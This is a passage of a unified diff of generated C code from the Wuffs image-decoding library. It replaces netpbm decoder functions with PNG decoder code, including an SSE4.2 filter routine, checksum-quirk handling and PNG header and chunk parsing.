wuffs_base__pixel_blend a_blend, +- wuffs_base__slice_u8 a_workbuf, +- wuffs_base__decode_frame_options* a_opts); ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func png.decoder.filter_4_distance_4_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_netpbm__decoder__swizzle( +- wuffs_netpbm__decoder* self, +- wuffs_base__pixel_buffer* a_dst, +- wuffs_base__io_buffer* a_src); +- +-// ---------------- VTables +- +-const wuffs_base__image_decoder__func_ptrs +-wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder = { +- (wuffs_base__status(*)(void*, +- wuffs_base__pixel_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__pixel_blend, +- wuffs_base__slice_u8, +- wuffs_base__decode_frame_options*))(&wuffs_netpbm__decoder__decode_frame), +- (wuffs_base__status(*)(void*, +- wuffs_base__frame_config*, +- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_frame_config), +- (wuffs_base__status(*)(void*, +- wuffs_base__image_config*, +- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__decode_image_config), +- (wuffs_base__rect_ie_u32(*)(const void*))(&wuffs_netpbm__decoder__frame_dirty_rect), +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_netpbm__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__history_retain_length), +- (uint32_t(*)(const void*))(&wuffs_netpbm__decoder__num_animation_loops), +- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frame_configs), +- (uint64_t(*)(const void*))(&wuffs_netpbm__decoder__num_decoded_frames), +- (wuffs_base__status(*)(void*, +- uint64_t, +- uint64_t))(&wuffs_netpbm__decoder__restart_frame), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_netpbm__decoder__set_quirk), +- (wuffs_base__empty_struct(*)(void*, +- uint32_t, +- bool))(&wuffs_netpbm__decoder__set_report_metadata), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__more_information*, +- wuffs_base__io_buffer*))(&wuffs_netpbm__decoder__tell_me_more), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_netpbm__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_netpbm__decoder__initialize( +- wuffs_netpbm__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ __m128i v_x128 = {0}; ++ __m128i v_a128 = {0}; ++ __m128i v_b128 = {0}; ++ __m128i v_c128 = {0}; ++ __m128i v_p128 = {0}; ++ __m128i v_pa128 = {0}; ++ __m128i v_pb128 = {0}; ++ __m128i v_pc128 = {0}; ++ __m128i v_smallest128 = {0}; ++ __m128i v_z128 = {0}; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif +- } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_b128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); ++ v_b128 = _mm_unpacklo_epi8(v_b128, v_z128); ++ v_pa128 = _mm_sub_epi16(v_b128, v_c128); ++ v_pb128 = _mm_sub_epi16(v_a128, v_c128); ++ v_pc128 = _mm_add_epi16(v_pa128, v_pb128); ++ v_pa128 = _mm_abs_epi16(v_pa128); ++ v_pb128 = _mm_abs_epi16(v_pb128); ++ v_pc128 = _mm_abs_epi16(v_pc128); ++ v_smallest128 = _mm_min_epi16(v_pc128, _mm_min_epi16(v_pb128, v_pa128)); ++ v_p128 = _mm_blendv_epi8(_mm_blendv_epi8(v_c128, v_b128, _mm_cmpeq_epi16(v_smallest128, v_pb128)), v_a128, _mm_cmpeq_epi16(v_smallest128, v_pa128)); ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_unpacklo_epi8(v_x128, v_z128); ++ v_x128 = _mm_add_epi8(v_x128, v_p128); ++ v_a128 = v_x128; ++ v_c128 = v_b128; ++ v_x128 = _mm_packus_epi16(v_x128, v_x128); ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; + } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__image_decoder.vtable_name = +- wuffs_base__image_decoder__vtable_name; +- self->private_impl.vtable_for__wuffs_base__image_decoder.function_pointers = +- (const void*)(&wuffs_netpbm__decoder__func_ptrs_for__wuffs_base__image_decoder); +- return wuffs_base__make_status(NULL); +-} +- +-wuffs_netpbm__decoder* +-wuffs_netpbm__decoder__alloc(void) { +- wuffs_netpbm__decoder* x = +- (wuffs_netpbm__decoder*)(calloc(sizeof(wuffs_netpbm__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_netpbm__decoder__initialize( +- x, sizeof(wuffs_netpbm__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} +- +-size_t +-sizeof__wuffs_netpbm__decoder(void) { +- return sizeof(wuffs_netpbm__decoder); ++ return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// ---------------- Function Implementations +- +-// -------- func netpbm.decoder.get_quirk ++// -------- func png.decoder.get_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_netpbm__decoder__get_quirk( +- const wuffs_netpbm__decoder* self, ++wuffs_png__decoder__get_quirk( ++ const wuffs_png__decoder* self, + uint32_t a_key) { + if (!self) { + return 0; +@@ -49804,15 +62628,18 @@ wuffs_netpbm__decoder__get_quirk( + return 0; + } + ++ if ((a_key == 1u) && self->private_impl.f_ignore_checksum) { ++ return 1u; ++ } + return 0u; + } + +-// -------- func netpbm.decoder.set_quirk ++// -------- func png.decoder.set_quirk + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__set_quirk( +- wuffs_netpbm__decoder* self, ++wuffs_png__decoder__set_quirk( ++ wuffs_png__decoder* self, + uint32_t a_key, + uint64_t a_value) { + if (!self) { +@@ -49825,15 +62652,20 @@ wuffs_netpbm__decoder__set_quirk( + : wuffs_base__error__initialize_not_called); + } + ++ if (a_key == 1u) { ++ self->private_impl.f_ignore_checksum = (a_value > 0u); ++ wuffs_zlib__decoder__set_quirk(&self->private_data.f_zlib, a_key, a_value); ++ return wuffs_base__make_status(NULL); ++ } + return wuffs_base__make_status(wuffs_base__error__unsupported_option); + } + +-// -------- func netpbm.decoder.decode_image_config ++// -------- func png.decoder.decode_image_config + + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_netpbm__decoder__decode_image_config( +- wuffs_netpbm__decoder* self, ++wuffs_png__decoder__decode_image_config( ++ wuffs_png__decoder* self, + wuffs_base__image_config* a_dst, + wuffs_base__io_buffer* a_src) { + if (!self) { +@@ -49859,53 +62691,364 @@ wuffs_netpbm__decoder__decode_image_config( + + wuffs_base__status v_status = wuffs_base__make_status(NULL); + +- uint32_t coro_susp_point = self->private_impl.p_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_image_config; ++ switch (coro_susp_point) { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ ++ while (true) { ++ { ++ wuffs_base__status t_0 = wuffs_png__decoder__do_decode_image_config(self, a_dst, a_src); ++ v_status = t_0; ++ } ++ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { ++ status = wuffs_base__make_status(wuffs_png__error__truncated_input); ++ goto exit; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); ++ } ++ ++ ok: ++ self->private_impl.p_decode_image_config = 0; ++ goto exit; ++ } ++ ++ goto suspend; ++ suspend: ++ self->private_impl.p_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ ++ goto exit; ++ exit: ++ if (wuffs_base__status__is_error(&status)) { ++ self->private_impl.magic = WUFFS_BASE__DISABLED; ++ } ++ return status; ++} ++ ++// -------- func png.decoder.do_decode_image_config ++ ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_png__decoder__do_decode_image_config( ++ wuffs_png__decoder* self, ++ wuffs_base__image_config* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); ++ ++ uint64_t v_magic = 0; ++ uint64_t v_mark = 0; ++ uint32_t v_checksum_have = 0; ++ uint32_t v_checksum_want = 0; ++ wuffs_base__status v_status = wuffs_base__make_status(NULL); ++ ++ const uint8_t* iop_a_src = NULL; ++ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; ++ if (a_src && a_src->data.ptr) { ++ io0_a_src = a_src->data.ptr; ++ io1_a_src = io0_a_src + a_src->meta.ri; ++ iop_a_src = io1_a_src; ++ io2_a_src = io0_a_src + a_src->meta.wi; ++ } ++ ++ uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config; ++ if (coro_susp_point) { ++ v_checksum_have = self->private_data.s_do_decode_image_config.v_checksum_have; ++ } + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + ++ if (self->private_impl.f_call_sequence != 0u) { ++ status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ goto exit; ++ } else if ( ! self->private_impl.f_seen_ihdr) { ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint64_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_0 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; ++ if (num_bits_0 == 56) { ++ t_0 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_0 += 8u; ++ *scratch |= ((uint64_t)(num_bits_0)) << 56; ++ } ++ } ++ v_magic = t_0; ++ } ++ if (v_magic != 727905341920923785u) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); ++ uint64_t t_1; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 8)) { ++ t_1 = wuffs_base__peek_u64le__no_bounds_check(iop_a_src); ++ iop_a_src += 8; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); ++ *scratch <<= 8; ++ *scratch >>= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; ++ if (num_bits_1 == 56) { ++ t_1 = ((uint64_t)(*scratch)); ++ break; ++ } ++ num_bits_1 += 8u; ++ *scratch |= ((uint64_t)(num_bits_1)) << 56; ++ } ++ } ++ v_magic = t_1; ++ } ++ if (v_magic != 5927942488114331648u) { ++ if (v_magic == 5278895250759221248u) { ++ status = wuffs_base__make_status(wuffs_png__error__unsupported_cgbi_extension); ++ goto exit; ++ } ++ status = wuffs_base__make_status(wuffs_png__error__bad_header); ++ goto exit; ++ } ++ self->private_impl.f_chunk_type_array[0u] = 73u; ++ self->private_impl.f_chunk_type_array[1u] = 72u; ++ self->private_impl.f_chunk_type_array[2u] = 68u; ++ self->private_impl.f_chunk_type_array[3u] = 82u; ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_2 = wuffs_png__decoder__decode_ihdr(self, a_src); ++ v_status = t_2; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if ( ! self->private_impl.f_ignore_checksum) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); ++ } ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(6); ++ uint32_t t_3; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_3 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_3 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_3); ++ if (num_bits_3 == 24) { ++ t_3 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_3 += 8u; ++ *scratch |= ((uint64_t)(num_bits_3)); ++ } ++ } ++ v_checksum_want = t_3; ++ } ++ if ( ! self->private_impl.f_ignore_checksum && (v_checksum_have != v_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); ++ goto exit; ++ } ++ self->private_impl.f_seen_ihdr = true; ++ } else if (self->private_impl.f_metadata_fourcc != 0u) { ++ self->private_impl.f_call_sequence = 16u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } + while (true) { ++ if (((uint64_t)(io2_a_src - iop_a_src)) < 8u) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); ++ continue; ++ } ++ self->private_impl.f_chunk_length = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ self->private_impl.f_chunk_type = ((uint32_t)((wuffs_base__peek_u64le__no_bounds_check(iop_a_src) >> 32u))); ++ if (self->private_impl.f_chunk_type == 1413563465u) { ++ if ( ! self->private_impl.f_seen_actl || self->private_impl.f_seen_fctl) { ++ break; ++ } ++ self->private_impl.f_seen_idat = true; ++ } else if (self->private_impl.f_chunk_type == 1413571686u) { ++ if (self->private_impl.f_seen_idat && self->private_impl.f_seen_fctl) { ++ break; ++ } ++ status = wuffs_base__make_status(wuffs_png__error__bad_chunk); ++ goto exit; ++ } ++ iop_a_src += 8u; ++ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { ++ self->private_impl.f_chunk_type_array[0u] = ((uint8_t)((self->private_impl.f_chunk_type >> 0u))); ++ self->private_impl.f_chunk_type_array[1u] = ((uint8_t)((self->private_impl.f_chunk_type >> 8u))); ++ self->private_impl.f_chunk_type_array[2u] = ((uint8_t)((self->private_impl.f_chunk_type >> 16u))); ++ self->private_impl.f_chunk_type_array[3u] = ((uint8_t)((self->private_impl.f_chunk_type >> 24u))); ++ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, ++ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); ++ wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_base__make_slice_u8(self->private_impl.f_chunk_type_array, 4)); ++ } ++ while (true) { ++ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); ++ { ++ if (a_src) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); ++ } ++ wuffs_base__status t_4 = wuffs_png__decoder__decode_other_chunk(self, a_src, false); ++ v_status = t_4; ++ if (a_src) { ++ iop_a_src = a_src->data.ptr + a_src->meta.ri; ++ } ++ } ++ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u)) { ++ v_checksum_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); ++ } ++ if (wuffs_base__status__is_ok(&v_status)) { ++ break; ++ } ++ status = v_status; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); ++ } ++ if (self->private_impl.f_metadata_fourcc != 0u) { ++ self->private_impl.f_call_sequence = 16u; ++ status = wuffs_base__make_status(wuffs_base__note__metadata_reported); ++ goto ok; ++ } + { +- wuffs_base__status t_0 = wuffs_netpbm__decoder__do_decode_image_config(self, a_dst, a_src); +- v_status = t_0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(10); ++ uint32_t t_5; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_5 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_do_decode_image_config.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(11); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; ++ uint32_t num_bits_5 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_5); ++ if (num_bits_5 == 24) { ++ t_5 = ((uint32_t)(*scratch >> 32)); ++ break; ++ } ++ num_bits_5 += 8u; ++ *scratch |= ((uint64_t)(num_bits_5)); ++ } ++ } ++ v_checksum_want = t_5; + } +- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { +- status = wuffs_base__make_status(wuffs_netpbm__error__truncated_input); ++ if ( ! self->private_impl.f_ignore_checksum && ((self->private_impl.f_chunk_type & 32u) == 0u) && (v_checksum_have != v_checksum_want)) { ++ status = wuffs_base__make_status(wuffs_png__error__bad_checksum); + goto exit; + } +- status = v_status; +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); + } ++ if ((self->private_impl.f_color_type == 3u) && ! self->private_impl.f_seen_plte) { ++ status = wuffs_base__make_status(wuffs_png__error__missing_palette); ++ goto exit; ++ } ++ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); ++ self->private_impl.f_first_config_io_position = self->private_impl.f_frame_config_io_position; ++ if (a_dst != NULL) { ++ wuffs_base__image_config__set( ++ a_dst, ++ self->private_impl.f_dst_pixfmt, ++ 0u, ++ self->private_impl.f_width, ++ self->private_impl.f_height, ++ self->private_impl.f_first_config_io_position, ++ ((self->private_impl.f_color_type <= 3u) && ! self->private_impl.f_seen_trns)); ++ } ++ if ( ! self->private_impl.f_seen_actl) { ++ self->private_impl.f_num_animation_frames_value = 1u; ++ self->private_impl.f_first_rect_x0 = 0u; ++ self->private_impl.f_first_rect_y0 = 0u; ++ self->private_impl.f_first_rect_x1 = self->private_impl.f_width; ++ self->private_impl.f_first_rect_y1 = self->private_impl.f_height; ++ self->private_impl.f_first_duration = 0u; ++ self->private_impl.f_first_disposal = 0u; ++ self->private_impl.f_first_overwrite_instead_of_blend = false; ++ } ++ self->private_impl.f_call_sequence = 32u; + + ok: +- self->private_impl.p_decode_image_config[0] = 0; ++ self->private_impl.p_do_decode_image_config = 0; + goto exit; + } + + goto suspend; + suspend: +- self->private_impl.p_decode_image_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; ++ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_decode_image_config.v_checksum_have = v_checksum_have; + + goto exit; + exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } ++ + return status; + } + +-// -------- func netpbm.decoder.do_decode_image_config ++// -------- func png.decoder.decode_ihdr + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__status +-wuffs_netpbm__decoder__do_decode_image_config( +- wuffs_netpbm__decoder* self, +- wuffs_base__image_config* a_dst, ++wuffs_png__decoder__decode_ihdr( ++ wuffs_png__decoder* self, + wuffs_base__io_buffer* a_src) { + wuffs_base__status status = wuffs_base__make_status(NULL); + +- uint8_t v_c = 0; +- uint32_t v_n = 0; ++ uint32_t v_a32 = 0; ++ uint8_t v_a8 = 0; + + const uint8_t* iop_a_src = NULL; + const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +@@ -49918,348 +63061,343 @@ wuffs_netpbm__decoder__do_decode_image_config( + io2_a_src = io0_a_src + a_src->meta.wi; + } + +- uint32_t coro_susp_point = self->private_impl.p_do_decode_image_config[0]; ++ uint32_t coro_susp_point = self->private_impl.p_decode_ihdr; + switch (coro_susp_point) { + WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; + +- if (self->private_impl.f_call_sequence != 0u) { +- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); ++ { ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); ++ uint32_t t_0; ++ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { ++ t_0 = wuffs_base__peek_u32be__no_bounds_check(iop_a_src); ++ iop_a_src += 4; ++ } else { ++ self->private_data.s_decode_ihdr.scratch = 0; ++ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); ++ while (true) { ++ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { ++ status = wuffs_base__make_status(wuffs_base__suspension__short_read); ++ goto suspend; ++ } ++ uint64_t* scratch = &self->private_data.s_decode_ihdr.scratch; ++ uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); ++ *scratch >>= 8; ++ *scratch <<= 8; ++ *scratch |= 